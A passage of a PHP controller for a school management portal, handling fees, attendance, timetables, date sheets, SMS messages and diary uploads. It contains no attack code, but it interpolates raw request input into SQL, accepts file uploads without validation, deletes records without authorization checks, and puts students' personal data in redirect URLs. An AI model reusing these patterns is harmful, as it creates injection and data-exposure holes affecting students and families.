	header("location:../print_fee_reports.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&month=".$_POST['month']."&student_name=".$_POST['student_name']."&father_name=".$_POST['father_name']."&class_sec=".$_POST['class_sec']."&address=".$_POST['address']."&dob=".$_POST['dob']."&cell_no=".$_POST['cell_no']."&roll_no=".$_POST['roll_no']."&adm_no=".$_POST['adm_no']."&fee=".$_POST['fee']."&tution_fee=".$_POST['tution_fee']."&from=".$_POST['from']."&to=".$_POST['to']."&father_cellno=".$_POST['father_cellno']."&mother_cell=".$_POST['mother_cell']."&home_number=".$_POST['home_number']."&others=".$_POST['others']);
}


if(($_POST['action']=='PrintPaidFeeParameterDatewise'))
{

	//print_r($_POST);
	//$colspan=count($_POST['checkboxes'];
	$_SESSION['done']=1;
	header("location:../print_datewise_fee_collection.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_POST['class_id']."&session=".$_POST['session']."&section=".$_POST['section']."&month=".$_POST['month']."&student_name=".$_POST['student_name']."&father_name=".$_POST['father_name']."&class_sec=".$_POST['class_sec']."&address=".$_POST['address']."&dob=".$_POST['dob']."&cell_no=".$_POST['cell_no']."&roll_no=".$_POST['roll_no']."&adm_no=".$_POST['adm_no']."&fee=".$_POST['fee']."&tution_fee=".$_POST['tution_fee']."&from=".$_POST['from']."&to=".$_POST['to']."&father_cellno=".$_POST['father_cellno']."&mother_cell=".$_POST['mother_cell']."&others=".$_POST['others']."&channelName=".$_POST['channelName']."&orderBy=".$_POST['orderBy']);
}



if($_REQUEST['action']=="update_test")

//print_r($_REQUEST);

{


$data = array(

		'test_id' => $_REQUEST['test_ids'],
		'class_id' => $_REQUEST['class_id'],
		'subject_id' => $_REQUEST['subject_id'],
		'number_of_questions' => $_REQUEST['number_of_questions'],
		'each_question_number' => $_REQUEST['each_question_number'],
		'Live_Mobile_App' => $_REQUEST['Live_Mobile_App'],
		'duration' => $_REQUEST['duration']);

	//print_r($data);


	$m->where ("subject_detail_id", $_REQUEST['test_id']);

	$result = $m->update('eduportal_LMS_test_subject_details',$data);


	$_SESSION['addsuccessexp']=1;


	header("location:../create_test.php?".session_id().session_id().session_id().session_id().session_id());

}




if(($_REQUEST['action']=='ParentsSMS'))

{


		$number=$_REQUEST['cell_no'];

		$message =$_REQUEST['parentAccessMessage'];


		   sendSMSFuction($number,$message,$_SESSION['brand']);




	   $msgcount=ceil(strlen($message)/160);

	   $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1,'msg_count'=>$msgcount );
	    $result =  $m->insert('edu_messages_details', $data);
		   
		   if (isset($_REQUEST['profile'])) {
		   	
		   	$_SESSION['Added']=1;	

		header("location:../profile_app_link_popup.php?".session_id().session_id().session_id().session_id().session_id());

		   } else {

		$_SESSION['Added']=1;	

		header("location:../parents_id.php?".session_id().session_id().session_id().session_id().session_id());

		}

}  // main







if($_REQUEST['action']=='UpdatePeriodCategory')

{

	$data = array(



		

		'period_title' => $_REQUEST['PcategoryTitle']



	);

//print_r($data);

	$m->where ("category_period_id", $_REQUEST['PeriodCategory']);

	$result =  $m->update ('eduportal_periods_category', $data);









	$_SESSION['Upsuccess']=1;

	header("location:../period_categories.php?".session_id().session_id().session_id().session_id().session_id());

}




		 

if($_REQUEST['action']=="add_inventory")

//print_r($_REQUEST);

{



	$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'inventory_name' => $_REQUEST['inventory_name'],

		'quantity_number' => $_REQUEST['quantity_number'],

		'inventory_details' => $_REQUEST['inventory_details'],

		'purchase_date' => $_REQUEST['purchase_date'],

		'month_id' => $_REQUEST['month_id'],

		'inventory_amount' => $_REQUEST['inventory_amount'],

		'annual_depreciation' => $_REQUEST['annual_depreciation']);

	

//print_r($data);

	$result =  $m->insert('eduportal_inventory_system', $data); 

	

	$_SESSION['addsuccessexp']=1;



	$from=date("Y-m-d",strtotime($_REQUEST['edate']));

	$to=date("Y-m-d",strtotime($_REQUEST['edate']));



	header("location:../inventory.php?".session_id().session_id().session_id().session_id().session_id());

}



							//Update expenses 

if($_REQUEST['action']=='update_inventory')

{

		$inventory_name=$_REQUEST['inventory_name'];

		$quantity_number=$_REQUEST['quantity_number'];

		$inventory_details=$_REQUEST['inventory_details'];

		$purchase_date=$_REQUEST['purchase_date'];

		$month_id=$_REQUEST['month_id'];

		$inventory_amount=$_REQUEST['inventory_amount'];

		$annual_depreciation=$_REQUEST['annual_depreciation'];

		

		$data = array(

				'inventory_name' => ($inventory_name),

				'quantity_number' => ($quantity_number),

				'inventory_details' => ($inventory_details),

				'purchase_date' => ($purchase_date),

				'month_id' => ($month_id),

				'inventory_amount' => ($inventory_amount),

				'annual_depreciation' => ($annual_depreciation)

				

			);





	$m->where ("inventory_id", $_REQUEST['inventory_id']);

	$result =  $m->update ('eduportal_inventory_system', $data);	




	$_SESSION['upsuccessexp']=1;

	$from=date("Y-m-d",strtotime($_REQUEST['from']));

	$to=date("Y-m-d",strtotime($_REQUEST['to']));



	header("location:../inventory.php?".session_id().session_id().session_id().session_id().session_id());

}// close update Inventory





if(($_POST['action']=='LeaveReasone'))

{
 
	// echo "786";

	// print_r($_POST);

	 //echo "<br><br><br>";


	$m->where ("student_id", $_POST['student_id']);
	$m->where ("branch_id", $_SESSION['branch']);
	$m->where ("session_id", $_SESSION['current_session']);
	$m->where ("date", $_POST['date']);

	$attendance_record=$m->insert ('eduportal_attendance_detail', $data);	

	

	$data = array('leave_reasons' => $_POST['leavereasone'] );


	if(count($attendance_record)>0){


	}else {

		$m->where ("student_id", $_POST['student_id']);
		$m->where ("branch_id", $_SESSION['branch']);
		$m->where ("session_id", $_SESSION['current_session']);
		$m->where ("date", $_POST['date']);
		$m->insert ('eduportal_attendance_temp', $data);	

	}





	//print_r($data);

	header("location:../mark_attendance.php?".session_id().session_id().session_id()."");

}		



if($_REQUEST['action']=="DeleteClassAttendance")

//print_r($_REQUEST);

{


    $m->where("class_id", $_REQUEST['class_id']);

    $m->where("date", $_REQUEST['date']);

    $m->where("session_id", $_REQUEST['session']);

    $m->where("section_id", $_REQUEST['section']);

    $m->where("branch_Id", $_SESSION['branch']);

    $result = $m-> delete('eduportal_attendance_detail');




    $_SESSION['addsuccessexp']=1;


    header("Location:../view_attendance.php?".session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']."&session=".$_REQUEST['session']."&date=".$_REQUEST['date']);

}	





if(($_POST['action']=='ShortLeaveReasone'))

{

/*$data = array(

		'student_id' => $_POST['student_id'],

		'attendance' => "SL",

		'date' => $_POST['date'],

		'class_id' => $_POST['class_id'],

		'section_id' => $_POST['section_id'],

		'session_id' => $_POST['session_id'],

		'branch_Id' => $_SESSION['branch']

		);

	

		$m->insert('eduportal_attendance_detail',$data);
 		$id= $m->getInsertId();*/
 
$data = array(
		'student_id' => ($_POST['student_id']),
		'attendance_id' => $id,
		'branch_id' => ($_SESSION['branch']),
		'session_id' => ($_SESSION['current_session']),
		'gaurdian_name' => ($_POST['gaurdian_name']),
		'gaurdian_cell' => ($_POST['gaurdian_cell']),
		'guardian_relation' => ($_POST['guardian_relation']),
		'guardian_address' => ($_POST['guardian_address']),
		'shortleave_reason' => ($_POST['gaurdian_name']),
		'leave_date' => ($_POST['date']),
		'month_id' => (date("m"))
	);



	
	//print_r($data);

	$m->insert ('eduportal_students_leave_reasons', $data);	

	header("location:../mark_attendance.php?".session_id().session_id().session_id()."");

}			




// Delete Test Detail code

if(($_REQUEST['action']=='DeleteInventory'))

{



	if($_REQUEST['inventory_id']!='')

	{

	   $m->where("inventory_id", $_REQUEST['inventory_id']);

     	$result = $m-> delete('eduportal_inventory_system');

		$_SESSION['deleteexp']=1;

		header("location:../inventory.php?".session_id().session_id().session_id().session_id().session_id()."");

	}
	else

	{

		header("location:../inventory.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");
	}


}			// end delete Expense code





if(($_REQUEST['action']=='CreatePeriodDetails'))

{



	for($i=0;$i<count($_POST['title']);$i++){



		    $title=$_POST['title'][$i];

			$start=$_POST['start'][$i];

			$end=$_POST['end'][$i];



if($title!=NULL){



$data = array(

					

					'period_end' => $end,

					'period_start' => $start,

					'period_details_title' => $title,

					'period_id' => $_POST['Periodcat'],

					'branch_id' => $_SESSION['branch']

					);

	  				//print_r($data);



					$result = $m->insert('eduportal_school_periods_details',$data);



		}

		}



		$_SESSION['delltemp']=1;	

		 	

		header("location:../create_period_details.php?".session_id().session_id().session_id().session_id().session_id()."");



}









if(($_REQUEST['action']=='DeleteCategoryPeriod'))

{



	if($_REQUEST['PeriodCat']!='')

	{

		

	    $m->where("category_period_id", utf8_decode_all($_REQUEST['PeriodCat']));

     	$result = $m->delete('eduportal_periods_category',$data);

		/*$_SESSION['delete']=1;*/



		



		header("location:../period_categories.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../period_categories.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}






/*


if(($_REQUEST['action']=='LectureTime'))

{

// echo "<pre>"; print_r($_REQUEST); echo "</pre>";

$class_id=$_REQUEST['class_id'];

$section=$_REQUEST['section'];

$branchId=$_SESSION['branch'];



$sql = "SELECT * FROM  eduportal_class_periods as classP, eduportal_school_periods_details as Pdetails  WHERE classP.class_id='$class_id' and classP.section_id='$section' and classP.period_id=Pdetails.period_id and classP.branch_id='$branchId' ORDER BY Pdetails.period_details_title ASC";

$WorkAssignListings5 = $m->query($sql);

//print_r($WorkAssignListings5);



$counter=0;

foreach ($WorkAssignListings5 as $WorkAssign) {

	

	 for ($x = 1; $x <= count($WorkAssignListings5); $x++) { 



	 	if ($_REQUEST['teachers'.$x][$counter]!=NULL && $_REQUEST['subjects'.$x][$counter]!=NULL) {

	 		

	 		 	$data = array(

	 		 	'branch_id' => utf8_decode_all($_SESSION['branch']),

				'class_id' => utf8_decode_all($_REQUEST['class_id']),

				'section_id' => utf8_decode_all($_REQUEST['section']),

				'session_id' => utf8_decode_all($_SESSION['current_session']),

				'day_id' => utf8_decode_all($_REQUEST['day_id'.$x][$counter]),

				'period_id' => utf8_decode_all($_REQUEST['period_id'][$x-1]),

				'period_cat_id' => utf8_decode_all($_REQUEST['period_cat_id']),

				'user_id' => utf8_decode_all($_REQUEST['teachers'.$x][$counter]),

				'subject_id' => utf8_decode_all($_REQUEST['subjects'.$x][$counter])

			);





			 //echo "data--"."<pre>"; print_r($data); echo "</pre>";



				 $result = $m->insert('eduportal_lectures_time',$data);

			}	 // if





		} // for loop 



		$counter++;





} // foreach			

				$_SESSION['addpros']=1;	



		header("location:../view_class_period_selection.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']);

	



}  // main 

*/




if(($_REQUEST['action']=='LectureTime'))

{
 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";

$class_id=$_REQUEST['class_id'];

$section=$_REQUEST['section'];

$branchId=$_SESSION['branch'];



$sql = "SELECT * FROM  eduportal_class_periods as classP, eduportal_school_periods_details as Pdetails  WHERE classP.class_id='$class_id' and classP.section_id='$section' and classP.period_id=Pdetails.period_id and classP.branch_id='$branchId' ORDER BY Pdetails.period_details_title ASC";



$WorkAssignListings5 = $m->query($sql);

//print_r($WorkAssignListings5);

 $WorkAssignListings = $m->get("eduportal_days_config");


foreach ($WorkAssignListings as $WorkAssign) {

	
$days_id=$WorkAssign['day_id'];
$counter3=0;
//echo $counter3;
	 for ($x = 1; $x <= count($WorkAssignListings5); $x++) { 



	// echo $_REQUEST['day_id1'.$days_id.$x];

	if ($_REQUEST['teachers1'.$days_id.$x][$counter3]!=NULL && $_REQUEST['subjects1'.$days_id.$x][$counter3]!=NULL) {	

	 		 	$data = array(

	 		 	'branch_id' => utf8_decode_all($_SESSION['branch']),

				'class_id' => utf8_decode_all($_REQUEST['class_id']),

				'section_id' => utf8_decode_all($_REQUEST['section']),

				'session_id' => utf8_decode_all($_SESSION['current_session']),

				'day_id' => utf8_decode_all($_REQUEST['day_id1'.$days_id.$x][$counter3]),

				'period_id' => utf8_decode_all($_REQUEST['period_id'][$x-1]),

				'period_cat_id' => utf8_decode_all($_REQUEST['period_cat_id']),

				'user_id' => utf8_decode_all($_REQUEST['teachers1'.$days_id.$x][$counter3]),

				'subject_id' => utf8_decode_all($_REQUEST['subjects1'.$days_id.$x][$counter3])

			);


			// echo "data--"."<pre>"; print_r($data); echo "</pre>";

				 $result = $m->insert('eduportal_lectures_time',$data);
				 
				 }	 // if





		} // for loop 



		$counter3++;





} // foreach			

	
				$_SESSION['addpros']=1;	



		header("location:../view_class_period_selection.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']);

}  // main 


if(($_REQUEST['action']=='CreateDateSheet'))

{

 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";


	            $m->where ("session_id", $_REQUEST['session']);

                $m->where ("branch_id", $_SESSION['branch']);

                $m->where ("term_id", $_REQUEST['term_id']);      

                $old_challan =  $m->get ('eduportal_datesheet_config');


                if(count($old_challan)>0){

                    //continue;

                } else {


 				$data = array(

				'session_id' => utf8_decode_all($_REQUEST['session']),

				'branch_id' => $_SESSION['branch'],

				'term_id' => utf8_decode_all($_REQUEST['term_id']),			

				'created_date' => date("Y-m-d")

			);

			// echo "data--"."<pre>"; print_r($data); echo "</pre>";

				 $result = $m->insert('eduportal_datesheet_config',$data);

				 $datesheetidconfig= $m->getInsertId();

	} // if condition

$datesheetid;

if(count($old_challan)>0){

                $datesheetid=$old_challan[0]['datesheet_id'];

                } else {

                $datesheetid=$datesheetidconfig;

				}


$counter=0;
foreach ($_REQUEST['class_id'] as $id) {
	//echo $id;
		$sec=$_REQUEST['section'][$counter];


			    $m->where ("session_id", $_REQUEST['session']);

			    $m->where ("term_id", $_REQUEST['term_id']);

                $m->where ("branch_id", $_SESSION['branch']);

                $m->where ("class_id", $id);      

                $old_class =  $m->get ('eduportal_datesheet_details');

                if(count($old_class)>0){

                    continue;

                } else {

$data1 = array(

				'datesheet_ids' => $datesheetid,

				'branch_id' => $_SESSION['branch'],

				'class_id' => $id,

				'section_id' => utf8_decode_all($sec),

				'term_id' => utf8_decode_all($_REQUEST['term_id']),			

				'session_id' => utf8_decode_all($_REQUEST['session'])

			);

			 //echo "data--"."<pre>"; print_r($data1); echo "</pre>";

		  $result1 = $m->insert('eduportal_datesheet_details',$data1);

		  $detailsheetid= $m->getInsertId();

		}

for ($x = 1; $x <= $_REQUEST['daysno']; $x++) { 


if ($detailsheetid=="" || $detailsheetid=='0') {

	//continue;

} else {

	$data2 = array(

				'detail_sheet_id' => $detailsheetid,

				'branch_id' => $_SESSION['branch'],

				'term_id' => utf8_decode_all($_REQUEST['term_id']),

				'day_id' => utf8_decode_all($_REQUEST['day_id'][$x-1]),

				'date_exm' => utf8_decode_all($_REQUEST['paper_date'][$x-1]),			

				'subject_id' => utf8_decode_all($_REQUEST['subjects'.$x][$counter])

			);

			 //echo "data--"."<pre>"; print_r($data2); echo "</pre>";

		  $result2 = $m->insert('eduportal_datesheet_subject_day',$data2);

	}		

	} // for loop


		$counter++;	
} // foreach


	
	$_SESSION['addpros']=1;	


		header("location:../view_datesheet.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_REQUEST['term_id']."&session=".$_REQUEST['session']);


}


if(($_REQUEST['action']=='EditDateSheet'))

{

	 $m->where("branch_id", $_SESSION['branch']);
	 $m->where("datesheet_id", $_REQUEST['datesheet_id']);
     $detail = $m-> delete('eduportal_datesheet_config');

	 $m->where("branch_id", $_SESSION['branch']);
	 $m->where("datesheet_ids", $_REQUEST['datesheet_id']);
     $detail = $m-> delete('eduportal_datesheet_details');

     

 //echo "<pre>"; print_r($_REQUEST); echo "</pre>";



$data = array(

				'session_id' => utf8_decode_all($_REQUEST['session']),

				'branch_id' => $_SESSION['branch'],

				'term_id' => utf8_decode_all($_REQUEST['term_id']),			

				'created_date' => date("Y-m-d")

			);

			// echo "data--"."<pre>"; print_r($data); echo "</pre>";

				 $result = $m->insert('eduportal_datesheet_config',$data);

$datesheetid= $m->getInsertId();



$counter=0;
foreach ($_REQUEST['class_id'] as $id) {
  //echo $id;
    $sec=$_REQUEST['section'][$counter];
   



$data1 = array(

				'datesheet_ids' => $datesheetid,

				'branch_id' => $_SESSION['branch'],

				'class_id' => utf8_decode_all($id),

				'section_id' => utf8_decode_all($sec),		

				'term_id' => utf8_decode_all($_REQUEST['term_id']),	

				'session_id' => utf8_decode_all($_REQUEST['session'])

			);

			 //echo "data--"."<pre>"; print_r($data1); echo "</pre>";

		  $result1 = $m->insert('eduportal_datesheet_details',$data1);

      $detailsheetid= $m->getInsertId();

for ($x = 1; $x <= $_REQUEST['daysno']; $x++) { 


	 $m->where("branch_id", $_SESSION['branch']);
	 $m->where("detail_sheet_id", $_REQUEST['Dsheet_detail_id'.$x][$counter]);
     $daydelete = $m-> delete('eduportal_datesheet_subject_day');
	 


$data2 = array(

				'detail_sheet_id' => $detailsheetid,

				'branch_id' => $_SESSION['branch'],

				'term_id' => utf8_decode_all($_REQUEST['term_id']),

				'day_id' => utf8_decode_all($_REQUEST['day_id'][$x-1]),

				'date_exm' => utf8_decode_all($_REQUEST['paper_date'][$x-1]),			

				'subject_id' => utf8_decode_all($_REQUEST['subjects'.$x][$counter])

			);

			 //echo "data--"."<pre>"; print_r($data2); echo "</pre>";

		  $result2 = $m->insert('eduportal_datesheet_subject_day',$data2);

      

  } // for loop


    $counter++; 
} // foreach


  
  $_SESSION['addpros']=1; 


    header("location:../view_datesheet.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_REQUEST['term_id']."&session=".$_REQUEST['session']);


}


// Delete datesheet code

if(($_REQUEST['action']=='DeleteDateSheet'))

{

//print_r($_REQUEST);

	if($_REQUEST['term_id']!='')

	{

		

	    $m->where("branch_id", $_SESSION['branch']);
	    $m->where("session_id", $_REQUEST['session']);
	    $m->where("term_id", $_REQUEST['term_id']);
     	$result = $m-> delete('eduportal_datesheet_config');


     	$m->where("branch_id", $_SESSION['branch']);
	    $m->where("session_id", $_REQUEST['session']);
	    $m->where("term_id", $_REQUEST['term_id']);
     	$result = $m-> delete('eduportal_datesheet_details');


     	$m->where("branch_id", $_SESSION['branch']);
	    $m->where("term_id", $_REQUEST['term_id']);
     	$result = $m-> delete('eduportal_datesheet_subject_day');




		$_SESSION['deleteexp']=1;

		header("location:../view_datesheet.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../view_datesheet.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}			// end delete datesheet code






/*if(($_REQUEST['action']=='DeleteClassWiseDateSheet'))

{*/

//print_r($_REQUEST);

	/*if($_REQUEST['termid']!='')

	{		

	    $m->where("branch_id", $_SESSION['branch']);
	    $m->where("session_id", $_REQUEST['sessionid']);
	    $m->where("term_id", $_REQUEST['termid']);
	    $m->where("class_id", $_REQUEST['class_id']);
     	$result = $m-> delete('eduportal_datesheet_details');


     	$m->where("class_id", $_REQUEST['class_id']);
		$m->where("branch_id", $_SESSION['branch']);
		$m->where("term_id", $_REQUEST['termid']);
		$m->where("class_id", $_REQUEST['class_id'])
		$getdetailId = $m->get("edu_adm_section_detail");


		$m->where("branch_id", $_SESSION['branch']);
	    $m->where("term_id", $_REQUEST['termid']);
	    $m->where("detail_sheet_id", $getdetailId[0]['detail_sheet_id']);
     	$result = $m-> delete('eduportal_datesheet_subject_day');
     

		$_SESSION['deleteexp']=1;

		header("location:../view_datesheet.php?".session_id().session_id().session_id().session_id().session_id()."");		

	}*/

//}




if(($_REQUEST['action']=='DeleteClassWiseDateSheet'))

{
	//print_r($_REQUEST);

if($_REQUEST['termid']!='')

	{

		$m->where("branch_id", $_SESSION['branch']);
	    $m->where("session_id", $_REQUEST['sessionid']);
	    $m->where("term_id", $_REQUEST['termid']);
	    $m->where("class_id", $_REQUEST['class_id']);
     	$result = $m-> delete('eduportal_datesheet_details');


     	$m->where("branch_id", $_SESSION['branch']);
	    $m->where("session_id", $_REQUEST['sessionid']);
	    $m->where("term_id", $_REQUEST['termid']);
	    $m->where("class_id", $_REQUEST['class_id']);
		$getdetailId = $m->get("eduportal_datesheet_details");




		$m->where("branch_id", $_SESSION['branch']);
	    $m->where("term_id", $_REQUEST['termid']);
	    $m->where("detail_sheet_id", $getdetailId[0]['Dsheet_detail_id']);
     	$result = $m-> delete('eduportal_datesheet_subject_day');


     	$_SESSION['deleteexp']=1;

		header("location:../view_datesheet.php?".session_id().session_id().session_id().session_id().session_id()."&term_id=".$_REQUEST['termid']."&session=".$_REQUEST['sessionid']);

	}

}


   // Delete class period code

if(($_REQUEST['action']=='DeleteClassPeriod'))

{



	if($_REQUEST['classPeriodId']!='')

	{

		

	    $m->where("class_period_id", $_REQUEST['classPeriodId']);

     	$result = $m-> delete('eduportal_class_periods');




		$_SESSION['deleteexp']=1;

		header("location:../class_period.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../class_period.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}			// end delete class period code





	if(($_REQUEST['action']=='birthday_SMS'))

{

	

//print_r($_REQUEST);

		$number=$_REQUEST['cell_no'];

		$empName=$_REQUEST['employee_name']; 

		    

		$message =$_REQUEST['birthday_SMS']." 

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;



		   sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);



		$_SESSION['Added']=1;	

		header("location:../teacher_birthday.php?".session_id().session_id().session_id().session_id().session_id());

	

}  // main




if($_POST['action']=='birthday_SMS_Selected_Student')

{

  // echo "<pre>"; print_r($_POST); echo "</pre>";

	 

	$sms=0;

	$cell_no;


 for($i=0;$i<count($_POST['checkboxes']);$i++){

  if($_POST['checkboxes'][$i]!=null){

	 $id=$_POST['checkboxes'][$i];   

     $std_name=$_POST['student_name'.$id];

      $number=$_POST['cell_no'.$id];    

  $msg ="Dear ".$std_name.",
  Wishing you another wonderful year of happiness and joy. The more candles, the bigger the wish.
                                Happy Birthday!";
	

	$result=sendSMSFuction($number,$msg,$_SESSION['brand']);				

	//print_r($result)   

    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $msg,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

    $result =  $m->insert ('edu_messages_details', $data);

   

    //print_r($data);    

    $sms++;
    //print_r( $data);

    }// ending if number is not blank

  } // ending loop 

  $_SESSION['birthdaySMS']=1;   

  $url="../student_birthday.php?".session_id().session_id().session_id().session_id().session_id()."today=Today";

  echo "<script>window.location="."'$url'"."</script>";


}


	if(($_REQUEST['action']=='birthday_SMS_Student'))

{

	

//print_r($_REQUEST);

		$number=$_REQUEST['cell_no'];

		$sutdentName=$_REQUEST['student_name'];    



		$message =$_REQUEST['birthday_SMS_student']." 

		From:".$_SESSION['branch_name'];



			//echo "<br>".$message;



		   sendSMSFuction($number,$message,$_SESSION['brand']);



		    $data = array('msg_sender' => $_SESSION['brand'],'msg_from' => $number,'msg_details' => $message,'msg_status' => "Sent",'branch_id' => $_SESSION['branch'],'other_msg' => 1);

		    $result =  $m->insert ('edu_messages_details', $data);

		 	

			



		$_SESSION['Added']=1;	

		header("location:../student_birthday.php?".session_id().session_id().session_id().session_id().session_id());

	

}  // main









if(($_REQUEST['action']=='DeletePeriodDetails'))

{



	if($_REQUEST['PeriodCat']!='')

	{

		

	    $m->where("period_details_id", utf8_decode_all($_REQUEST['PeriodCat']));

     	$result = $m->delete('eduportal_school_periods_details',$data);

		/*$_SESSION['delete']=1;*/



		



		header("location:../create_period_details.php?".session_id().session_id().session_id().session_id().session_id()."");

	}



	else

	{

		header("location:../create_period_details.php?".session_id().session_id().session_id().session_id().session_id()."&errorfield=1");

	}





}







if($_REQUEST['action']=='UpdateAssignTeacherSubjects')

{

	$m->where("branch_id", $_SESSION['branch']);

	$m->where("user_id", $_REQUEST['user_id']);

	$result =  $m->delete ('eduportal_assign_subject_to_teachers');	





	foreach($_REQUEST['subjects'] as $subject){

		



	$data = array(

		'user_id' => $_REQUEST['user_id'],

		'subject_id' => $subject,

		'branch_id' => $_SESSION['branch'],

		'session_id' => $_REQUEST['session']

		);

//print_r($data);

		$result =  $m->insert ('eduportal_assign_subject_to_teachers', $data);	



	}



		



	$_SESSION['done']=1;

	header("location:../teacher_subjects.php?".session_id().session_id().session_id().session_id().session_id());

}











									

if($_POST['action']=='EditCreatePeriodDetails'){ 



//print_r($_POST);





	$data = array(

	'period_details_title' => $_POST['period_details_title'],

	'period_start' => $_POST['period_start'],

	'period_end' => $_POST['period_end']);



	

	$m->where("branch_id",$_SESSION['branch']);

	$m->where("period_details_id",$_POST['period_details_id']);



	//print_r($data); 

	$result = $m->update('eduportal_school_periods_details',$data);

	



		

	$_SESSION['Updated']=1;	

	header("location:../create_period_details.php?".session_id().session_id().session_id().session_id().session_id());



}













if(($_POST['action']=='ClassPeriods'))

{

	//print_r($_POST);





		if(isset($_POST["class"])){ 

		

			foreach($_POST["class"] as $std){

				$classPeriod =(explode(",",$std));	





		    	//getting student roll no and change

		    	$m->where ("student_id", $std);

				$std_roll = $m->get('edu_student_details');



				//print_r($std_roll);

				$roll_array=explode("-",$std_roll[0]['candidate_roll_no']);

				$updated_roll=$roll_array[1]."-".$roll_array[2];

				//$updated_roll="18-".$roll_array[0];

			

				

				$data = array(

				'class_id' => $classPeriod[0],

				'section_id' => $classPeriod[1],

				'session_id' => $_SESSION['current_session'],

				'branch_id' => $_SESSION['branch'],

				'period_id' => $_POST['periodCatId']

				);



				

				$result = $m->insert('eduportal_class_periods',$data);





				//echo "<pre>"; print_r($data); echo "</pre>"."<br>";

				//unset($roll_array);

			}  // ending loop 





			

			$_SESSION['promoted']=1;

			header("location:../class_period.php?".session_id().session_id().session_id().session_id().session_id()."&class_id=".$_REQUEST['class_id']."&section=".$_REQUEST['section']."&session=".$_REQUEST['session']."&class_id1=".$_REQUEST['class_id1']."&section1=".$_REQUEST['section1']."&session1=".$_REQUEST['session1']);



			}

	





}  // main 













/*		 

if($_REQUEST['action']=="add_diary")

//print_r($_REQUEST);

{



	if($_FILES['img_file']['name']!=""){



			$target_path = "../parent_images/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name']);

			$img_src =  basename($rand.$_FILES['img_file']['name']);

			$tmp = $_FILES['img_file']['tmp_name'];

			move_uploaded_file($tmp, $target_path);

		}   else{$img_src ='';}


$section;
if ($_REQUEST['section']=="All") {

$m->where("class_id", $_REQUEST['class_id']);
$m->where("branch_id", $_SESSION['branch']);
$sec = $m->get("edu_adm_section_detail");

foreach($sec as $sectionID){

$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $sectionID['section_id'],

		//'subject_id' => $_REQUEST['subject_id'],

		'session_id' => $_REQUEST['session'],

		'diary_date' => $_REQUEST['diaryDate'],

		'youtube_link' => $_REQUEST['YoutubeLink'],

		'image' => $img_src,

		'diary_details' => $_REQUEST['details']);

	

//print_r($data);

	$result =  $m->insert('eduportal_student_diary', $data);

	}

} else {


	$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section'],

		//'subject_id' => $_REQUEST['subject_id'],

		'session_id' => $_REQUEST['session'],

		'diary_date' => $_REQUEST['diaryDate'],

		'youtube_link' => $_REQUEST['YoutubeLink'],

		'image' => $img_src,

		'diary_details' => $_REQUEST['details']);

	

//print_r($data);

	$result =  $m->insert('eduportal_student_diary', $data); 

}



	



	$_SESSION['addsuccessexp']=1;



	header("location:../view_student_diaries.php?".session_id().session_id().session_id().session_id().session_id());

}*/



	 

if($_REQUEST['action']=="add_diary")

//print_r($_REQUEST);

{


$section;
if ($_REQUEST['section']=="All") {

$m->where("class_id", $_REQUEST['class_id']);
$m->where("branch_id", $_SESSION['branch']);
$sec = $m->get("edu_adm_section_detail");

foreach($sec as $sectionID){

$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $sectionID['section_id'],

		//'subject_id' => $_REQUEST['subject_id'],

		'session_id' => $_REQUEST['session'],

		'diary_date' => $_REQUEST['diaryDate'],

		'youtube_link' => $_REQUEST['YoutubeLink'],

		//'image' => $img_src,

		'diary_details' => $_REQUEST['details']);

	

//print_r($data);

	$result =  $m->insert('eduportal_student_diary', $data);

	}

} else {


	$data = array(

		

		'branch_id' => $_SESSION['branch'],

		'class_id' => $_REQUEST['class_id'],

		'section_id' => $_REQUEST['section'],

		//'subject_id' => $_REQUEST['subject_id'],

		'session_id' => $_REQUEST['session'],

		'diary_date' => $_REQUEST['diaryDate'],

		'youtube_link' => $_REQUEST['YoutubeLink'],

		//'image' => $img_src,

		'diary_details' => $_REQUEST['details']);

	

//print_r($data);

	$result =  $m->insert('eduportal_student_diary', $data); 

}

	

$id= $m->getInsertId();

//echo count($_REQUEST['img_file']);
for($i=0;$i<12;$i++){

 if($_FILES['img_file']['name'][$i]!=""){



			$target_path = "../diary_images/"; 

			$rand=rand(00000,999999);

			$target_path = $target_path.basename($rand.$_FILES['img_file']['name'][$i]);

			$imgs_src =  basename($rand.$_FILES['img_file']['name'][$i]);

